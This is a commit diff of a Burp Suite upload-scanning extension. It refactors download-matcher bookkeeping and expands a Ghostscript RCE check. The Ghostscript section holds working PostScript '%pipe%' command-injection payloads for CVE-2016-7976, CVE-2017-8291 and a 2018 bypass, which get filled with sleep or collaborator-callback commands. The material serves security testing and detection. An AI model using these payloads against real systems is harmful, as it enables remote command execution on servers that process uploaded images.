@@ -313,7 +313,7 @@ def registerExtenderCallbacks(self, callbacks):
313
313
('', '.gs', ''),
314
314
('', '.eps', ''),
315
315
('', BurpExtender.MARKER_ORIG_EXT, 'text/plain'),
316
- # ('', '.gif ', 'image/gif '),
316
+ ('', '.jpeg ', 'image/jpeg '),
317
317
('', '.png', 'image/png'),
318
318
}
319
319
@@ -972,7 +972,13 @@ def do_checks(self, injector):
972
972
burp_colab = None
973
973
print "Warning: No Burp Collaborator will be used"
974
974
colab_tests = []
975
+
976
+ # We need to make sure that the global download matchers are from now on active for the URL we scan
977
+ url = FloydsHelpers.u2s(self._helpers.analyzeRequest(injector.get_brr()).getUrl().toString())
978
+ self.dl_matchers.add_collection(url)
979
+
975
980
scan_was_stopped = False
981
+
976
982
try:
977
983
# Sanity/debug check. Simply uploads a white picture called screenshot_white.png
978
984
print "Doing sanity check and uploading a white png file called screenshot_white.png"
@@ -1353,28 +1359,78 @@ def _ghostscript(self, injector, burp_colab):
1353
1359
name = "Ghostscript RCE"
1354
1360
severity = "High"
1355
1361
confidence = "Certain"
1356
- techniques = (("OutputICCProfile", "CVE-2016-7976"), ("OutputFile", "CVE-2017-8291"))
1357
1362
base_detail = "A ghostscript file with RCE payload was uploaded. See " \
1358
1363
"http://www.openwall.com/lists/oss-security/2016/09/30/8 and http://cve.circl.lu/cve/CVE-2017-8291 " \
1359
- "for details. "
1364
+ "and http://openwall.com/lists/oss-security/2018/08/21/2 for details. "
1360
1365
detail_sleep = "A delay was dectected twice when uploading a ghostscript file with a payload that " \
1361
1366
"executes a sleep like command. Therefore arbitrary command execution seems possible. " \
1362
1367
"The payload used the {} argument ({}) and the payload {}."
1363
1368
detail_colab = "A burp collaborator interaction was dectected when uploading a ghostscript file with a payload that " \
1364
1369
"executes commands with a burp collaborator URL. Therefore arbitrary command execution seems possible. " \
1365
1370
"The payload used the {} argument ({}) and the payload {}. Interactions: <br><br>"
1366
1371
basename = BurpExtender.DOWNLOAD_ME + self.FILE_START + "Gs"
1367
- content = "%!PS\n" \
1368
- "currentdevice null true mark /{} (%pipe%{} {} )\n" \
1369
- ".putdeviceparams\n" \
1370
- "quit"
1372
+
1373
+ content_original_cve = "%!PS\n" \
1374
+ "currentdevice null true mark /{} (%pipe%{} {} )\n" \
1375
+ ".putdeviceparams\n" \
1376
+ "quit"
1377
+
1378
+ content_2 = "%!PS\n" \
1379
+ "*legal*\n" \
1380
+ "*{{ null restore }} stopped {{ pop }} if*\n" \
1381
+ "*legal*\n" \
1382
+ "*mark /{} (%pipe%{} {}) currentdevice putdeviceprops*\n" \
1383
+ "*showpage*"
1384
+
1385
+ content_ubuntu = "%!PS\n" \
1386
+ "userdict /setpagedevice undef\n" \
1387
+ "save\n" \
1388
+ "legal\n" \
1389
+ "{{ null restore }} stopped {{ pop }} if\n" \
1390
+ "{{ legal }} stopped {{ pop }} if\n" \
1391
+ "restore\n" \
1392
+ "mark /{} (%pipe%{} {}) currentdevice putdeviceprops"
1393
+
1394
+ content_centos = "%!PS\n" \
1395
+ "userdict /setpagedevice undef\n" \
1396
+ "legal\n" \
1397
+ "{{ null restore }} stopped {{ pop }} if\n" \
1398
+ "legal\n" \
1399
+ "mark /{} (%pipe%{} {}) currentdevice putdeviceprops"
1400
+
1401
+ techniques = (
1402
+ ("OutputFile", "CVE-2017-8291", content_original_cve),
1403
+ ("OutputICCProfile", "CVE-2016-7976", content_original_cve),
1404
+
1405
+ ("OutputFile", "http://openwall.com/lists/oss-security/2018/08/21/2", content_2),
1406
+ #("OutputICCProfile", "http://openwall.com/lists/oss-security/2018/08/21/2", content_2),
1407
+
1408
+ # OutputFile worked on a Linux minti 4.8.0-53-generic #56~16.04.1-Ubuntu SMP Tue May 16 01:18:56 UTC 2017 x86_64 x86_64 x86_64 GNU/Linux
1409
+ # With "identify" and "convert" from ImageMagick 6.8.9-9 Q16 x86_64 2017-03-14
1410
+ # But OutputICCProfile didn't:
1411
+ # ./base/gsicc_manage.c:1088: gsicc_open_search(): Could not find %pipe%sleep 6.0
1412
+ # | ./base/gsicc_manage.c:1708: gsicc_set_device_profile(): cannot find device profile
1413
+ # ./base/gsicc_manage.c:1088: gsicc_open_search(): Could not find %pipe%sleep 6.0
1414
+ # | ./base/gsicc_manage.c:1708: gsicc_set_device_profile(): cannot find device profile
1415
+ ("OutputFile", "http://openwall.com/lists/oss-security/2018/08/21/2", content_ubuntu),
1416
+ #("OutputICCProfile", "http://openwall.com/lists/oss-security/2018/08/21/2", content_ubuntu),
1417
+
1418
+ ("OutputFile", "http://openwall.com/lists/oss-security/2018/08/21/2", content_centos),
1419
+ #("OutputICCProfile", "http://openwall.com/lists/oss-security/2018/08/21/2", content_centos),
1420
+ )
1371
1421
1372
1422
# Sleep based
1373
- for param, cve in techniques:
1374
- for cmd_name, cmd, factor, args in self._get_sleep_commands(injector):
1375
- details = base_detail + detail_sleep.format(param, cve, cmd)
1376
- issue = self._create_issue_template(injector.get_brr(), name + " " + cve, details, confidence, severity)
1377
- sleep_content = content.format(param, cmd, str(injector.opts.sleep_time * factor) + args)
1423
+ for cmd_name, cmd, factor, args in self._get_sleep_commands(injector):
1424
+ for param, reference, content in techniques:
1425
+ details = base_detail + detail_sleep.format(param, reference, cmd)
1426
+ issue = self._create_issue_template(injector.get_brr(), name, details, confidence, severity)
1427
+ sleep_content = content.format(
1428
+ #injector.opts.image_width,
1429
+ #injector.opts.image_height,
1430
+ param,
1431
+ cmd,
1432
+ str(injector.opts.sleep_time * factor) + args
1433
+ )
1378
1434
self._send_sleep_based(injector, basename + cmd_name, sleep_content, self.GS_TYPES, injector.opts.sleep_time, issue)
1379
1435
1380
1436
# Burp community edition doesn't have Burp collaborator
@@ -1383,11 +1439,17 @@ def _ghostscript(self, injector, burp_colab):
1383
1439
colab_tests = []
1384
1440
1385
1441
# Colab based
1386
- for param, cve in techniques:
1387
- for cmd_name, cmd, server, replace in self._get_rce_interaction_commands(injector, burp_colab):
1388
- details = base_detail + detail_colab.format(param, cve, cmd)
1389
- issue = self._create_issue_template(injector.get_brr(), name + " " + cve, details, confidence, severity)
1390
- attack = content.format(param, cmd, server)
1442
+ for cmd_name, cmd, server, replace in self._get_rce_interaction_commands(injector, burp_colab):
1443
+ for param, reference, content in techniques:
1444
+ details = base_detail + detail_colab.format(param, reference, cmd)
1445
+ issue = self._create_issue_template(injector.get_brr(), name, details, confidence, severity)
1446
+ attack = content.format(
1447
+ #injector.opts.image_width,
1448
+ #injector.opts.image_height,
1449
+ param,
1450
+ cmd,
1451
+ server
1452
+ )
1391
1453
colab_tests.extend(self._send_collaborator(injector, burp_colab, self.GS_TYPES, basename + param + cmd_name,
1392
1454
attack, issue, replace=replace, redownload=True))
1393
1455
@@ -4756,7 +4818,10 @@ def getInsertionPoints(self, base_request_response):
4756
4818
print "FlexiInjector insertion point found for getInsertionPoint ActiveScan!"
4757
4819
injector = fi
4758
4820
if injector:
4759
- # First handle the zip files
4821
+ # First the feature that we can detect CSVs
4822
+ insertion_points.extend(self._get_csv_insertion_points(injector))
4823
+
4824
+ # Then handle the zip files
4760
4825
bf = BackdooredFile(None, tool=self._global_opts.image_exiftool)
4761
4826
upload_type = ('', ".zip", BackdooredFile.EXTENSION_TO_MIME[".zip"])
4762
4827
# Achieve bf.get_zip_files(payload_func, techniques=["name"])
@@ -4784,9 +4849,6 @@ def getInsertionPoints(self, base_request_response):
4784
4849
kwargs = {"techniques": [(name, cmd_line_args, [format, ]), ]}
4785
4850
function = bf.get_exiftool_images
4786
4851
insertion_points.append(InsertionPointForActiveScan(injector, upload_type, function, args, kwargs))
4787
-
4788
- # Now the feature that we can detect CSVs
4789
- insertion_points.extend(self._get_csv_insertion_points(injector))
4790
4852
except:
4791
4853
self.burp_extender.show_error_popup(traceback.format_exc())
4792
4854
raise sys.exc_info()[1], None, sys.exc_info()[2]
@@ -6723,15 +6785,20 @@ def __init__(self, helpers):
6723
6785
self._thread_lock = threading.Lock()
6724
6786
6725
6787
def add(self, dl_matcher):
6788
+ brr = dl_matcher.issue.get_base_request_response()
6789
+ iRequestInfo = self._helpers.analyzeRequest(brr)
6790
+ url = FloydsHelpers.u2s(iRequestInfo.getUrl().toString())
6791
+ host = self.add_collection(url)
6792
+ with self._thread_lock:
6793
+ self._collection[host].add(dl_matcher)
6794
+
6795
+ def add_collection(self, url):
6796
+ host = self._get_host(url)
6726
6797
with self._thread_lock:
6727
- brr = dl_matcher.issue.get_base_request_response()
6728
- iRequestInfo = self._helpers.analyzeRequest(brr)
6729
- url = FloydsHelpers.u2s(iRequestInfo.getUrl().toString())
6730
- host = self._get_host(url)
6731
6798
if host not in self._collection:
6732
- print "The DownloadMatcherCollection has now passive checks for", host
6799
+ print "The DownloadMatcherCollection has now passive checks (at least the global matchers) for", host
6733
6800
self._collection[host] = set()
6734
- self._collection[ host].add(dl_matcher)
6801
+ return host
6735
6802
6736
6803
def _create_globals(self):
6737
6804
title = "GraphicsMagick version leakage"
@@ -6780,9 +6847,9 @@ def with_global(self, matchers):
6780
6847
return g
6781
6848
6782
6849
def add_scope(self, brr_url, url):
6850
+ brr_host = self._get_host(brr_url)
6851
+ host = self._get_host(url)
6783
6852
with self._thread_lock:
6784
- brr_host = self._get_host(brr_url)
6785
- host = self._get_host(url)
6786
6853
if host in self._collection:
6787
6854
return
6788
6855
if brr_host not in self._scope_mapping:
@@ -6792,32 +6859,38 @@ def add_scope(self, brr_url, url):
6792
6859
self._scope_mapping[brr_host].add(host)
6793
6860
6794
6861
def get_matchers_for_url(self, url):
6862
+ hostport = self._get_host(url)
6863
+ if not hostport:
6864
+ print "Couldn't extract hostport from the url", url
6865
+ return []
6795
6866
with self._thread_lock:
6796
- hostport = self._get_host(url)
6797
- if not hostport:
6798
- return []
6799
6867
if hostport in self._collection:
6868
+ # print "Found DownloadMatchers", hostport, "that correspond to", url
6800
6869
return self.with_global(self._collection[hostport])
6801
6870
6802
- for name in self._scope_mapping:
6803
- if hostport in self._scope_mapping[ name] :
6804
- if name in self._collection:
6805
- return self.with_global(self._collection[name])
6871
+ name = self.get_scope(hostport)
6872
+ if name:
6873
+ # print "Found DownloadMatchers for", name, "that can be used for", url
6874
+ return self.with_global(self._collection[name])
6806
6875
return []
6807
6876
6877
+ def get_scope(self, hostport):
6878
+ for name in self._scope_mapping:
6879
+ if hostport in self._scope_mapping[name]:
6880
+ if name in self._collection:
6881
+ return name
6882
+
6808
6883
def remove(self, url, matcher):
6809
6884
with self._thread_lock:
6810
6885
hostport = self._get_host(url)
6811
6886
if hostport in self._collection:
6812
6887
if matcher in self._collection[hostport]:
6813
6888
self._collection[hostport].remove(matcher)
6814
- else:
6815
- # Actually no reason to warn. If multithreaded matchers are triggered, then removing could take
6816
- # once but the second match for the same matcher is already waiting for the thread lock to remove it
6817
- # print "Warning: Couldn't remove DownloadMatcher as matcher not in {}'s collection".format(hostport)
6818
- pass
6819
6889
else:
6820
- print "Warning: Couldn't remove DownloadMatcher as host:port {} not in {}".format(hostport, self._collection.keys())
6890
+ name = self.get_scope(hostport)
6891
+ if name and name in self._collection:
6892
+ if matcher in self._collection[name]:
6893
+ self._collection[name].remove(matcher)
6821
6894
6822
6895
def _get_host(self, url):
6823
6896
if not url:
@@ -6850,6 +6923,7 @@ def deserialize(self, serialized_object):
6850
6923
no_of_matchers = 0
6851
6924
serialized_collection, self._scope_mapping = serialized_object
6852
6925
for host in serialized_collection:
6926
+ print "Deserializing DownloadMatchers for", host
6853
6927
self._collection[host] = set()
6854
6928
for matcher in serialized_collection[host]:
6855
6929
# print "Deserialization", host, type(matcher), repr(matcher)
@@ -7917,7 +7991,7 @@ def __init__(self, burp_extender, callbacks, helpers, scan_controler=None, globa
7917
7991
if bi.exiftool_present():
7918
7992
self.image_exiftool = path
7919
7993
self.show_exiftool_field = False
7920
- print "Found working exiftool by invoking '" + path+ "' on the command line"
7994
+ print "Found working exiftool by invoking '" + path + "' on the command line"
7921
7995
break
7922
7996
else:
7923
7997
print "Searched for exiftool but did not find a proper executable..."
0 commit comments